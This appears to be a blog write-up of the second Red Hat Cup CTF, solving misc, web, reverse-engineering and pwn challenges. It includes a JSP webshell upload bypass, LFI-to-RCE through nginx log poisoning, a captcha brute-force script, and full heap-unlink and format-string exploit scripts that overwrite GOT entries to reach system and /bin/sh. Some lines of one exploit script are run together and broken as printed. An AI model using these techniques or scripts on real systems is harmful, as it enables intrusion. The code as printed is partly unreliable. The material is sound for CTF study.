Quantcast
Channel: LinE's Blog
Viewing all articles
Browse latest Browse all 25

第二届红帽杯网络安全攻防大赛WriteUp

$
0
0

其他的WriteUp

2018-redhat-misc&web-writeup By 一叶飘零
第二届红帽杯线上初赛 RedHat 2018 WriteUp By impakho

Misc-签到

题目信息

Flag:flag{redhat_welcome}

提示

1. 提示进入q群218891597,某个管理员的群名片有点特别哦~
2. (一个队伍一个人加群即可)

解题思路

加群之后,有个管理的群名片即为flag

Misc-问卷

题目信息

Flag:flag{我们在广州塔等着你}

提示

问卷调查

解题思路

填写问卷,完成后获得flag


Misc-Not Only Wireshark

题目信息

附件名称:NotOnlyWireshark_ed63b63425ec3ed09470d8715b208293.zip
附件哈希:ed63b63425ec3ed09470d8715b208293
Flag:flag{1m_s0_ang4y_1s}

提示

1. Download
2. hint: tshark

解题思路

解压开是个pcapng流量包,查看http对象发现有猫腻


这里的name感觉像是文件的数据,123之后的看起来像是一个zip包的头,用strings提取出来丢到010,然后修复一下头(404b -> 504b)得到zip包

打开后发现需要密码,返回继续看流量包,发现有个key参数,尝试用该参数的值作为密码,可以解开。

Misc-听说你们喜欢手工爆破

题目信息

附件名称:OS_038c9291c8039792d1aad140f6664671.iso
附件哈希:038c9291c8039792d1aad140f6664671
Flag:flag{5EFCF5F507AA5FAD77}

提示

1. flag{}内英文字母为大写形式
2. Download

解题思路

附件是个iso镜像,打开发现很多以哈希命名的txt,txt内容打开是base64,解码后表示flag不在此处


在iso文件的底部还有一个rar压缩包,打开发现要密码,于是把这些txt文件名称提取出来作为密码进行爆破,得到rar的密码为0328fc8b43cb2ddf89ba69fa5e6dbc05

解压之后得到一个加密的word文档,尝试清除密码后打开得到下步提示,文档中的提示为电影海边的曼彻斯特剧情梗概,获得提示曼彻斯特编码,尝试用曼彻斯特对门禁代码123654AAA678876303555111AAA77611A321解密。
a = 0x123654AAA678876303555111AAA77611A321
flag = ""
bs = "0" + bin(a)[2:]
r = ""
def conv(s):
    return hex(int(s, 2))[2:]

for i in range(0, len(bs), 2):
    if bs[i:i+2] == '01':
        r += "0"
    else:
        r += "1"
for j in range(0, len(r), 8):
    t = r[j:j+8][::-1]
    flag += conv(t[:4])
    flag += conv(t[4:])
print flag.upper()

Misc-这是道web题?

题目信息

附件名称:yunCMS_256035f22b73fdb1c90fd7503c4005ed.zip
附件哈希:256035f22b73fdb1c90fd7503c4005ed
Flag:flag{S022y4orr5}

提示

1. Download

解题思路

一开始以为是代码审计,然后看着看着发现里面有pcapng流量包,然后联想到这题的分类,感觉不对,于是重心放在pcapng上,搜索了一下发现了7个流量包,逐个进行查看
其他的流量包内容都比较相似,唯独在yunCMS\yuncms\modules\az\fields\text\78466550-3fc1-11e8-9828-32001505e920.pcapng这个包中有一个上传操作,上传了一个jpeg,把该jpeg扒出来


然后丢binwalk,发现追加隐写了一个gif,用010分离出来拿到这个gif,然后真的想打人。。。为所欲为表情包,给跪了。。。出题的太皮了。。。

发现gif表情包里有unicode,解码后得到flag
摘录对话如下,表情包请自行脑补:
大佬:sorry
大佬:fla
大佬:Do you want flag?
大佬:g{S
大佬:022
小白:不存在的!
大佬:y4o
大佬:rr5
大佬:}Give Y0u


题外话,讲真,这么出题不怕被打么?不怕被寄菜刀么?不怕悬赏寻找出题人么???

Web-simple upload

题目信息

Flag:flag{064b024d-e3ce-40b1-89c4-f7b5b7463040}

提示

1. 这次在你面前的网站的功能非常简单,接受挑战吧!

解题思路

题目是基于docker的,下发题目之后有个登陆页面,登录过程抓包,发现有个admin的cookie,然后扫描目录发现有个upload.html,上传过程抓包,发现检查了cookie,以及对MimeType做了检测,改为image/png即可绕过


一开始以为是php的,上了php一句话发现不行,然后尝试了asp,aspx,jsp,发现jsp可以执行,重新上传jsp即可拿到shell。

在当前目录下有flag.txt,直接cat即可

Web-biubiubiu

题目信息

Flag:flag{dbc98dd7-90fb-44f4-8dbe-35a72f07ec9d}

提示

1. 这次在你面前的网站看起来很复杂,接受挑战吧!

解题思路

打开发现index有个page参数,猜测有文件包含,尝试../../../etc/passwd果然是有包含的


然后尝试利用php://input执行一句话失败。尝试用php://filter/read=convert.base64-encode/resource=./index.php读取源码也失败了。然后思路在这里小卡了一下,随手查了一下操作系统为Debian 9,Web中间件是Nginx,标准LNMP环境,于是思路又重新理清楚,每次访问nginx会记录log,向log中注入一句话然后包含即可shell,log文件的地址可以在nginx配置中看到,nginx配置默认在/etc/nginx/nginx.conf

log文件在/var/log/nginx/access.log,然后直接注入php一句话代码,结果发现浏览器做了urlencode,用burp重新发包即可

拿到shell之后在/var/www/html/中找到数据库连接

然后连上数据库后找到flag

比赛结束后才知道这是非预期解法,此处也给出本题的预期解法。

[题目]记一次利用gopher的内网mysql盲注 By Pr0ph3t

Web-shopping log/h1>

题目信息

Flag:flag{hong_mao_ctf_hajimaruyo}

提示

1. http://123.59.141.153/ 或者 http://120.132.95.234/
2. hint: 不需要注入
3. hint2:订单号从0000开始试可能不是一个明智的选择
4. (本题的解题范围在题目所在服务器内,请别在其他站点做测试。)

解题思路

查看源代码发现有个提示,将本机hosts直接修改到www.tmvb.com,再次访问发现需要设置Referer


修改了Referer之后再次访问发现仅允许jp的访问

于是修改http头的Accept-Languageja即可正常访问。

根据提示,猜测这里应倒是要对订单号爆破,一共10000种可能,难点在于md5前6位,花了点时间生成了100W个md5,然后直接查表,直接丢脚本吧
import hashlib, requests, re, time

cookie = sys.argv[3]
def get_now_time():
    return time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))

def get_captcha():
    url = "http://www.tmvb.com/5a560e50e61b552d34480017c7877467info.php"
    headers = {'Accept-Language': 'ja', "Referer":"www.dww.com", "Cookie":"PHPSESSID=" + cookie}
    r = requests.get(url,headers=headers)
    a = re.findall(" '[\d\w]{6}'", r.text)[0][2:8]
    return a

def submit_data(tid,captcha):
    url = "http://www.tmvb.com/api.php?action=report"
    headers = {'Accept-Language': 'ja', "Referer":"www.dww.com", "Cookie":"PHPSESSID=" + cookie}
    d = {"TxtTid":tid, "code":captcha}
    r = requests.post(url,headers=headers,data=d)
    return r.text

def get_dic():
    f = open("md5.txt","r")
    ret = f.readlines()
    f.close()
    return ret

def get_md5_code(dic):
    while 1:
        captcha = get_captcha()
        for d in dic:
            if captcha in d:
                return captcha, d.split("\t")[0]
            if captcha.isdigit():
                break

def writelog(f_name, msg):
    f = open(f_name, "a+")
    f.write(msg+"\n")
    f.close()
    print(msg)

def submit():
    start = int(sys.argv[1])
    stop = int(sys.argv[2])
    dic = get_dic()
    f_name = "{}_{}.log".format(start,stop)
    for i in range(start, stop):
        now = get_now_time()
        tid = str(i)
        captcha, code = get_md5_code(dic)
        r = submit_data(tid, code)
        msg = "{} {} {} {} {}".format(now,tid,captcha,code,r)
        writelog(f_name, msg)
submit()

我从正序开10进程全部跑了一遍,到9588才出来,真的想吐血,到后面才发现有个hint说从0000开始爆破不是好事

Web-guess id

题目信息

Flag:flag{}

提示

1. http://123.59.134.192/ 或 http://120.132.94.238/
2. hint: 身份证号码是有一定规律的
3. hint2: AES256是很棒的加密算法, ECB模式很容易理解

解题思路

未解出

Reverse-icm

题目信息

Flag:flag{f53fc1db-b7d3-4643-9b48-725f13129d07}

提示

Download

解题思路

直接静态分析,主流程伪代码如下:

int __fastcall main(__int64 a1, char **a2, char **a3)
{
  int result; // eax
  char v4; // [rsp+20h] [rbp-50h]
  int v5; // [rsp+48h] [rbp-28h]
  __int16 v6; // [rsp+4Ch] [rbp-24h]
  unsigned __int64 v7; // [rsp+58h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  memset(&v4, 0, 0x28uLL);
  v5 = 0;
  v6 = 0;
  if ( (unsigned int)input_2047(&v4) != 42 )    // length == 42
    return -1;
  result = check_1E84(&v4, 42);
  if ( result == 1 )
    result = puts("You Are Right!");
  return result;
}

signed __int64 __fastcall check_1E84(const char *a1, int a2)
{
  int v3; // [rsp+4h] [rbp-13Ch]
  int i; // [rsp+18h] [rbp-128h]
  int j; // [rsp+18h] [rbp-128h]
  int k; // [rsp+18h] [rbp-128h]
  char v7; // [rsp+20h] [rbp-120h]
  unsigned __int64 v8; // [rsp+128h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  memset(&v7, 0, 0x100uLL);
  if ( a2 % 8 )
  {
    for ( i = 0; 8 - a2 % 8 > i; ++i )
      a1[a2 + i] = -35;
    a1[a2 + i] = 0;
  }
  v3 = strlen(a1);
  for ( j = 0; v3 / 8 > j; ++j )
    encryt_1CFF((char *)&a1[8 * j], 8);         // 6 group 8 bytes
  for ( k = 0; k < v3; ++k )
  {
    if ( ((0x77 - k) ^ (unsigned __int8)a1[k]) != byte_203040[k] )
      return 0xFFFFFFFFLL;
  }
  return 1LL;
}

__int64 __fastcall encryt_1CFF(char *a1, signed int a2)
{
  __int64 result; // rax
  unsigned __int8 i; // [rsp+1Fh] [rbp-41h]
  unsigned __int8 j; // [rsp+1Fh] [rbp-41h]
  unsigned __int64 v5; // [rsp+20h] [rbp-40h]
  __int64 v6; // [rsp+28h] [rbp-38h]
  char s[16]; // [rsp+30h] [rbp-30h]
  unsigned __int64 v8; // [rsp+48h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  v5 = 0LL;
  v6 = 0LL;
  *(_QWORD *)s = 0LL;
  *(_QWORD *)&s[8] = 0LL;
  gen_key_1BAC();
  for ( i = 0; i < a2; ++i )
  {
    s[2 * i] = hex_1AAD((unsigned __int8)a1[i] >> 4);
    s[2 * i + 1] = hex_1AAD(a1[i] & 0xF);
  }
  __isoc99_sscanf(s, "%016llx", &v5);
  en_CCE(v5, (__int64)random_hex_203090, &v6);
  sprintf(s, "%016llx", v6);
  for ( j = 0; ; ++j )
  {
    result = j;
    if ( j >= a2 )
      break;
    a1[j] = unhex_1AFE(&s[2 * j]);
    a1[j] ^= 8 - j;
  }
  return result;
}

__int64 __fastcall sub_CCE(unsigned __int64 a1, __int64 a2, _QWORD *a3)
{
  _QWORD *v4; // [rsp+8h] [rbp-C8h]
  signed int i; // [rsp+24h] [rbp-ACh]
  signed int j; // [rsp+24h] [rbp-ACh]
  signed int l; // [rsp+24h] [rbp-ACh]
  signed int k; // [rsp+28h] [rbp-A8h]
  unsigned int v9; // [rsp+2Ch] [rbp-A4h]
  __int16 v10[8]; // [rsp+30h] [rbp-A0h]
  _WORD v11[4]; // [rsp+40h] [rbp-90h]
  char v12[96]; // [rsp+50h] [rbp-80h]
  unsigned __int16 v13; // [rsp+B0h] [rbp-20h]
  __int16 v14; // [rsp+B2h] [rbp-1Eh]
  __int16 v15; // [rsp+B4h] [rbp-1Ch]
  unsigned __int16 v16; // [rsp+B6h] [rbp-1Ah]
  unsigned __int64 v17; // [rsp+B8h] [rbp-18h]

  v4 = a3;
  v17 = __readfsqword(0x28u);
  for ( i = 0; i <= 3; ++i )
    v10[i] = a1 >> 16 * (3 - (unsigned __int8)i);
  v9 = sub_1430((_WORD *)a2, v12);
  for ( j = 0; j <= 7; ++j )
  {
    sub_118A((unsigned __int16 *)v10, (unsigned __int16 *)&v12[12 * j], v11);
    for ( k = 0; k <= 3; ++k )
      v10[k] = v11[k];
  }
  swap_B37(&v11[1], &v11[2]);
  v11[0] = mul_A46(v11[0], v13);
  v11[1] = add_9F5(v11[1], v14);
  v11[2] = add_9F5(v11[2], v15);
  v11[3] = mul_A46(v11[3], v16);
  *v4 = v11[0];
  for ( l = 1; l <= 3; ++l )
    *v4 = (unsigned __int16)v11[l] | (*v4 << 16);
  return v9;
}

通过加密函数的分组、及具体算法里的swap,mul,add等操作,看出是idea算法。
直接dump伪随机数生成的固定key(hex):18fe9c970a7296f5c2fdeeae147592aa
通过简单异或得到目标加密串。

a='D0E0AB9CCD785B543DE4EA3351446D3C4ECEDFB541001CECE31BC38C91257F1B60FE359CEA044C878D97935CB89A7075'.decode('hex')
>>> s=''
>>> for i in range(48):
...   s += chr(ord(a[i])^(0x77-i))
...
>>> s.encode('hex')
'a796dee8be0a2a24528a875f3a2e045429a8bad122627d8cbc459ed0ca7f264337a860c8b9561dd7c2d9de10f3d0393d'
>>> s1=''
>>> for i in range(48):
...   s1 += chr(ord(s[i])^(8-(i%8)))
...
>>> s1.encode('hex')
'af91d8edba0928255a8d815a3e2d065521afbcd426617f8db44298d5ce7c24423faf66cdbd551fd6caded815f7d33b3c'

直接用工具解密得到flag(去除尾部补位):flag{f53fc1db-b7d3-4643-9b48-725f13129d07}

Reverse-wcm

题目信息

Flag:flag{e4435341-401a-4bc4-96c1-eadf1951d904}

提示

Download

解题思路

做了icm,ccm,再做到这题也没什么了。大概流程相同。输入为42bytes。然后进行分组加密,最后进行异或并与常量串校验。
至于加密算法,很容易就能看出,国密4,因为算法没有进行过任何更改,所以SBOX,FK等都没有变,直接能对应上加密算法。异或得到加密串:

>>> st = [
...     0xF4, 0x88, 0x91, 0xC2, 0x9B, 0x20, 0x5B, 0x03,
...     0xF1, 0xED, 0xF6, 0x13, 0x46, 0x3C, 0x55, 0x81,
...     0x61, 0x0F, 0xFF, 0x14, 0x6E, 0x1C, 0x48, 0x28,
...     0x79, 0x9F, 0x85, 0xAF, 0xC5, 0x58, 0x0D, 0xD6,
...     0xA5, 0xD9, 0x64, 0xFD, 0x46, 0x09, 0x8C, 0xDF,
...     0x3B, 0xA5, 0x37, 0x62, 0x5A, 0xA6, 0xD2, 0x4B]
>>>
... ss = ''
>>> for i in range(len(st)):
...   ss += chr(st[i]^(51+i))
...
>>> print ss.encode('hex')
c7bca4f4ac186239cad1cb2d797c14c3224bba522954016232d3c8e18a085c84f68d31ab1151d58560f96a3c05c6b329
>>>

密钥为伪随机数生成的固定密钥,dump:DA98F1DA312AB753A5703A0BFD290DD6
直接工具解密得到:flag{e4435341-401a-4bc4-96c1-eadf1951d904}

Reverse-ccm

题目信息

Flag:flag{54f946f5-f95a-4a0a-ba31-7b171a7eca82}

提示

Download

解题思路

还是直接静态分析,有壳,不过壳比较简单,简单跟下,对照静态分析,发现OEP跳转位置。

.nsp1:0040640C                 popa
.nsp1:0040640D                 popf
.nsp1:0040640E                 jmp     near ptr byte_401939

去除动态基地直接在40640E下断,f8,dump,利用偏移2000处API地址修复IAT,脱壳完成。主要伪代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // eax
  char v5; // [esp+1h] [ebp-55h]
  char Buf[44]; // [esp+2h] [ebp-54h]

  Buf[0] = 0;
  memset(&Buf[1], 0, 0x4Fu);
  puts("Input Flag");
  v3 = _iob_func();
  fgets(Buf, 44, v3);
  if ( Buf[42] != 10 )
    return -1;
  Buf[43] = 0;
  *(&v5 + strlen(Buf)) = 0;
  if ( strlen(Buf) != 42 )
    return -1;
  if ( check_401380((int)Buf, 42) == 1 )
    printf("Right!\n");
  return 0;
}

int __fastcall check_401380(int a1, int a2)
{
  int num; // ebx
  _BYTE *input; // esi
  void *heap1; // ebx
  _BYTE *heap2; // edi
  int v7; // ecx
  void *v8; // ST14_4
  void (__cdecl *v9)(void *); // ebx
  int v10; // edx
  signed int v11; // eax
  signed int v12; // esi
  unsigned int v13; // ecx
  int input_1; // [esp+8h] [ebp-5CCh]
  int num1; // [esp+Ch] [ebp-5C8h]
  int num1a; // [esp+Ch] [ebp-5C8h]
  char s2; // [esp+13h] [ebp-5C1h]
  char s3; // [esp+14h] [ebp-5C0h]
  char s4; // [esp+15h] [ebp-5BFh]
  char s1; // [esp+16h] [ebp-5BEh]
  char s5; // [esp+17h] [ebp-5BDh]
  char v22; // [esp+18h] [ebp-5BCh]
  char v23[729]; // [esp+2F4h] [ebp-2E0h]

  num = a2;
  input = (_BYTE *)a1;
  num1 = a2;
  input_1 = a1;
  dword_4033CC = GetTickCount();
  if ( format_check_401320(input, num) != 1 )   // flag{ 
                                                // idx  13 18 23 28 为_
    return -1;
  random_str_84_401280();
  heap1 = malloc(0x100u);
  heap2 = malloc(0x100u);
  memset(heap1, 0, 0x100u);
  memset(heap2, 0, 0x100u);
  hex_4012C0((int)heap1, input_1, num1);
  GetTickCount();
  sub_401000(v23, &v22);
  sub_401170((int)heap2, (const char *)heap1, v7, (int)v23, (int)&v22);
  v8 = heap1;
  v9 = free;
  free(v8);
  GetTickCount();
  s1 = heap2[7];
  s2 = heap2[23];
  s3 = heap2[39];
  s4 = heap2[55];
  s5 = heap2[71];
  num1a = 2 * num1;
  if ( num1a <= 0 )
  {
LABEL_11:
    v9(heap2);
    v13 = (dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)
    (LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)] ^ ((dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)] ^ ((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8)) >> 8)) >> 8;
    return 2
         * (~(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^ ((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8)) >> 8) ^ s5)] ^ v13) == 0x9D945A6E)
         - 1;
  }
  v10 = num1a;
  v11 = 0xCC;
  v12 = 7;
  while ( v11 - 0xCC == v12 )
  {
    v12 += 16;
LABEL_9:
    if ( ++v11 - 0xCC >= v10 )
    {
      v9 = free;
      goto LABEL_11;
    }
  }
  if ( *((unsigned __int8 *)&dword_402160[-51] + v11) == (v11 % 256 ^ (char)heap2[v11 - 0xCC]) )
  {
    v10 = num1a;
    goto LABEL_9;
  }
  free(heap2);
  return -1;
}

更多代码就不上了。算法比较简单,除了CRC32 hash,也没有通用加密算法。先是格式检查,前5字节为:

>>> print ''.join([chr(i^0x99) for i in [0xFF, 0xF5, 0xF8, 0xFE,  0xE2]])
flag{

42bytes输入字串index 为 13 18 23 28 处的字符是_
然后生成三张表,其中一张是通过伪随机数生成。对输入hex并进行简单置换。得到84 Bytes的字串,最后异或比较79bytes,其余5bytes通过crc32校验,5bytes中其中有1字节是由{的低4位生成,值已确定,众所周知,通过最后4bytes能更改到任何crc32值,所以crc32只能确定唯一的4byte。
虽然以前做gslab把crc32其及4byte逆推都做了查表实现,为了简化代码,crc32部分只能跑一下了。代码如下:

import string
from zlib import crc32

table1 = 'GHIJKLMNOPQRSTUV'
table2 = 'sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln'
table3 = string.lowercase
table4 = 'GHIJKLMNOP1234567890'
str_t = [
        0x81, 0x80, 0x83, 0xBA, 0x9D, 0x99, 0x9F, 0x00, 
        0x9A, 0xAC, 0x9C, 0x9B, 0x92, 0x92, 0x97, 0x96, 
        0x96, 0x8D, 0x94, 0x94, 0xAA, 0xAC, 0xAF, 0x00, 
        0xAE, 0xA9, 0xAF, 0x81, 0xA5, 0xA4, 0xA0, 0xBB, 
        0xA6, 0xA1, 0xA3, 0xA7, 0xB9, 0x89, 0xB8, 0x00, 
        0xB9, 0xBD, 0xBC, 0xB0, 0xB5, 0xB1, 0xB3, 0x8A, 
        0xB1, 0xB4, 0xB3, 0xB7, 0x4A, 0x4B, 0x48, 0x00, 
        0x4D, 0x73, 0x4C, 0x49, 0x45, 0x40, 0x40, 0x43, 
        0x46, 0x43, 0x44, 0x47, 0x5D, 0x59, 0x58, 0x00, 
        0x59, 0x59, 0x5B, 0x5D, 0x55, 0x51, 0x50, 0x54, 
        0x56, 0x54, 0x50, 0x7A]
        
str_s = ''
l = 'NMKHN'
count = 0
for i in range(84):
  if i%16 != 7:
    str_s += chr(str_t[i]^((0xcc+i)%256))
  else:
    str_s += l[count]
    count += 1
print str_s
str_s_s = ''
count = 0
for i in  str_s:
  if i == '-':
    str_s_s += '-'
  elif i.islower():
    c = ord(table2[count]) - 0x61
    c1 = (table3[c:]+table3[:c]).index(i)
    str_s_s += table3[c1]
    count += 1
  else:
    str_s_s += str(table1.index(i))
print str_s_s    
#for i1 in table4:
#  for i2 in table4:
#   for i3 in table4:
#    for i4 in table4:
#      if crc32(('N'+i1+i2+i3)+i4)&0xffffffff == 0x9D945A6E:
#        print i1+i2+i3+i4
#MKHN

最终flag为:flag{54f946f5-f95a-4a0a-ba31-7b171a7eca82}

Reverse-Explain

题目信息

Flag:flag{Th1s_1s_TiNy_VirtUA1_MacHine!}

提示

Download

解题思路

同样有壳,简单静态看下就能看到OEP的跳转:

0040817C   .- E9 F398FFFF   jmp Explain.00401A74

还是同样的下断,dump,修复IAT。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  gen_vmcode_401000();
  run_vm_code_401410();
  free(heap1);
  free(vm_code_403368);
  return 0;
}

此题是简单的VM题。 做题过程中,作了简单的记录,记录不全,将就看吧。

22 heap1[data] = getchar                                        3 data <0x1000
23 word_403374[data] = getchar                                  2  data <4
24 heap1[word_403374[data]] = getchar                           2  data <4
25 putchar heap1(data)                                          3  data <0x1000
26 putchar word_403374[data]                                    2  data <4
27 putchar heap1(word_403374[data])                             2  data <4

29 word_403374[data_0] = data1_2                                4  data0 <4
2b heap1[data0_1] = data_2                                      4  data1_2<0x1000
2c word_403374[data_0] eq word_403374[data_1]                   3  data <4
2e                                                              3  data<4
2f heap1[word_403374[data_0]] eq heap1[word_403374[data_1]]     3  data<4
2d word_403374[data_0] eq data1_2                               4  data<4
31 word_403374[data_0] += data_1_2                              4 data_0 <4
38 heap1[word_403374[data_0]] ^= data_1_2                       4 data_0 <4
39 heap1[word_403374[data_0]] ^= word_403374[data_1]            3 data<4
3a vm_off_403370 = data_0_1                                     3 data <0x1000
3b                                                              3 data <0x1000
3c vm_off_403370 = data_0_1                                     3 data <0x1000
3e ret == 1

heap1[A0] = target_str

reg0 60
reg1 00
loop1:
heap1[60] = getchar
reg0 + 1 = 61
reg1 + 1 = 1
reg1 == 23? ne goto loop1 off = ac

reg0 60
reg1 0
loop2:
heap1[60]^reg1  input
reg0++
reg1++
reg1 == 23 ? ne goto loop2  off=c5

reg0 60
reg1 a0
reg2 00
heap[reg0] == heap[reg1] ?
off = 11a

reg0 = 40
reg1 = 00
heap[reg0] ^= dd
putchar heap[reg0]
reg0++
reg1++
reg1 ==2 ?  off=104

heap[reg0] ^= dd

VM代码有部分解析没记录,大概流程能看出来,就是先初始化目标校验字串,然后输入35字节,并将其与自身index异或,最后与目标字串比较校验。然后打印结果。

>>> a=[0x66,0x6D,0x63,0x64,0x7F,0x51,0x6E,0x36,0x7B,0x56,0x3B,0x78,0x53,0x59,0x67,0x41,0x69,0x4E,0x44,0x7A,0x66,0x61,0x43,0x56,0x29,0x46,0x57,0x7A,0x7F,0x55,0x77,0x71,0x45,0x00,0x5F]
>>> s=''
>>> for i in range(len(a)):
...   s+=chr(a[i]^i)
...
>>> s
'flag{Th1s_1s_TiNy_VirtUA1_MacHine!}'

PWN-game server

题目信息

Flag:flag{}

提示

1. nc 123.59.138.180 20000
2. Download

解题思路

未解出

PWN-Shellcode Manager

题目信息

Flag:flag{}

提示

1. nc 123.59.138.180 20000
2. Download

解题思路

这题我自己没解出来,这里直接贴他人的exp吧

import pwn 
import ctypes
key = ''

def run_key(s): 
    global key
    dll = ctypes.CDLL('libc.so.6.64')
    for i in range(0x10000):
        key = '' dll.srand(i)
        for j in range(0x20):
            key += chr(dll.rand() & 0xff)
            if rc4(s) == 'No passcode No fun\n':
                return 

def rc4(data):
    sbox = []
    for i in range(256):
        sbox.append(i)
    num_sum = 0
    for i in range(256):
        num_sum = (sbox[i] + num_sum + ord(key[i & 0x1f])) & 0xff sbox[i],sbox[num_sum] = sbox[num_sum],sbox[i]
    i1 = 0
    i2 = 0
    s = ''
    for i in range(len(data)):
        i1 = (i1 + 1)&0xff
        i2 = (i2 + sbox[i1])&0xff
        sbox[i1],sbox[i2] = sbox[i2],sbox[i1]
        s += chr(ord(data[i]) ^ sbox[(sbox[i1]+sbox[i2])&0xff])
    return s

def recv_data(p): 
    size = p.recv(4)
    data = p.recv(pwn.u32(size))
    data = rc4(data[:-1])
    return data

def send_data(p, data):
    p.sendline(str(len(data)))
    p.send(rc4(data))

def recv_N_time(p, n):
    for i in range(n):
        recv_data(p)

def change(p, ID, data):
    recv_N_time(p, 7)
    p.sendline('3')
    recv_data(p)
    p.sendline(str(ID))
    recv_data(p)
    send_data(p, data)
    recv_data(p)

def new(p, size):
    recv_N_time(p, 7)
    p.sendline('1')
    recv_data(p)
    p.sendline(str(size))
    recv_data(p)

def leak(p, ID):
    recv_N_time(p, 7)
    p.sendline('4')
    recv_data(p)
    p.sendline(str(ID))
    p.recvline()
    data = p.recvline()
    return data

def delete(p, ID):
    recv_N_time(p, 7)
    p.sendline('2')
    recv_data(p)
    p.sendline(str(ID))
    recv_data(p)

#p = pwn.process('./pwn3')
p = pwn.remote('123.59.138.180', 13579)
size = p.recv(4)
data = p.recv(pwn.u32(size))[:-1]
run_key(data)

send_data(p, '1Chun0iu')

new(p, 0xf8)
new(p, 0xf8)
new(p, 0xf8)
payload = ''
payload += pwn.p64(0)
payload += pwn.p64(0xf0)
payload += pwn.p64(0x602130-0x18)
payload += pwn.p64(0x602130-0x10)
payload += '0'*0xd0
payload += pwn.p64(0xf0)
change(p, 1, payload)
delete(p, 2)
change(p, 1, '1'*24+pwn.p64(0x602090)+'11')
address = leak(p, 1)[:-1]
libc_addr = pwn.u64(address.ljust(8,'\x00')) - 0x0000000000036e80
sys = libc_addr + 0x0000000000045390
change(p, 1, pwn.p64(sys))
p.sendline('/bin/sh')
p.interactive()

PWN-Starcraft RPG

题目信息

Flag:flag{c489ae3664013838cfc0543e5af5693f}

提示

1. nc 123.59.138.180 13799
2. Download

解题思路

此题是借助堆的格式化漏洞利用题。 在角色建立时,只有2角色是先分配存储name的堆,后分配存储格式化串的堆。而角色1在写格式化串时有个选择,如果不为1或2则不写格式化串。
利用思路就是先创建角色2,name处写上格式化串,删除,再创建角色1,并不写格式化串。这时角色1的格式化串就是角色2时写的name。因为free再分配堆时还有转large bin的过程。所以name的前16字节会被覆盖,格式化串要偏移16字节。
剩下的就是格式化的利用了。不多说,主要是改atoi调用为system调用。因为此函数一直调用,所以需要中转下,最后一步再让其跳转到system。直接看exp代码。

#!/usr/bin/env python
from pwn import *

def fmt(fmtstr,debug=False):
    global p
    p.recvuntil('exit\n')
    p.sendline('1')
    p.recvuntil('Kerrigan\n')
    p.sendline('2')
    p.recvuntil('name: ')
    p.sendline("0"*16+fmtstr)
    if (debug):
        gdb.attach(p,'b *0x804884C')

    delete(0)

    p.recvuntil('exit\n')
    p.sendline('1')
    p.recvuntil('Kerrigan\n')
    p.sendline('1')
    p.recvuntil('name: ')
    p.sendline('B'*8)
    p.recvuntil("StimPack\n")
    p.sendline('3')

    p.recvuntil('exit\n')
    p.sendline('2')

def j_fmt(fmtstr):
    global p
    fmt(fmtstr)
    p.recvuntil('do?')
    delete(0)

def delete(idx):
    global p
    p.recvuntil('exit\n')
    p.sendline('3')
    p.recvuntil("delete?\n")
    p.sendline(str(idx))


def pwn():
    global p
    system_off =  0x3a940
    libc_main_ret_off = 0x18637
    # system_off =  0x40310
    # libc_main_ret_off = 0x19af3
    setb_got_plt = 0x804B00C
    setb_plt = 0x80484d0
    atoi_got_plt = 0x804B038


    fmt('%213$xDEADBEEF',debug=False)
    p.recv(16)
    ret = p.recvuntil('DEADBEEF')[:-8]
    ret_addr = int(ret,16)    
    system_addr = ret_addr - libc_main_ret_off+ system_off
    sys_l = system_addr&0xffff
    sys_h = system_addr >> 16
    raw_input('?') 
    delete(0)

    fmtstr_addr = '%%%dc%%204$n\x00'
    fmtstr_val1 = '%%%dc%%212$hn\x00'
    fmtstr_val2 = '%%%dc%%212$n\x00'

    fmtstr = fmtstr_addr%(setb_got_plt-0x10)
    j_fmt(fmtstr)

    fmtstr = fmtstr_val1%(sys_l-0x10)
    j_fmt(fmtstr)

    fmtstr = fmtstr_addr%(setb_got_plt-0x10+2)
    j_fmt(fmtstr)

    fmtstr = fmtstr_val1%(sys_h-0x10)
    j_fmt(fmtstr)

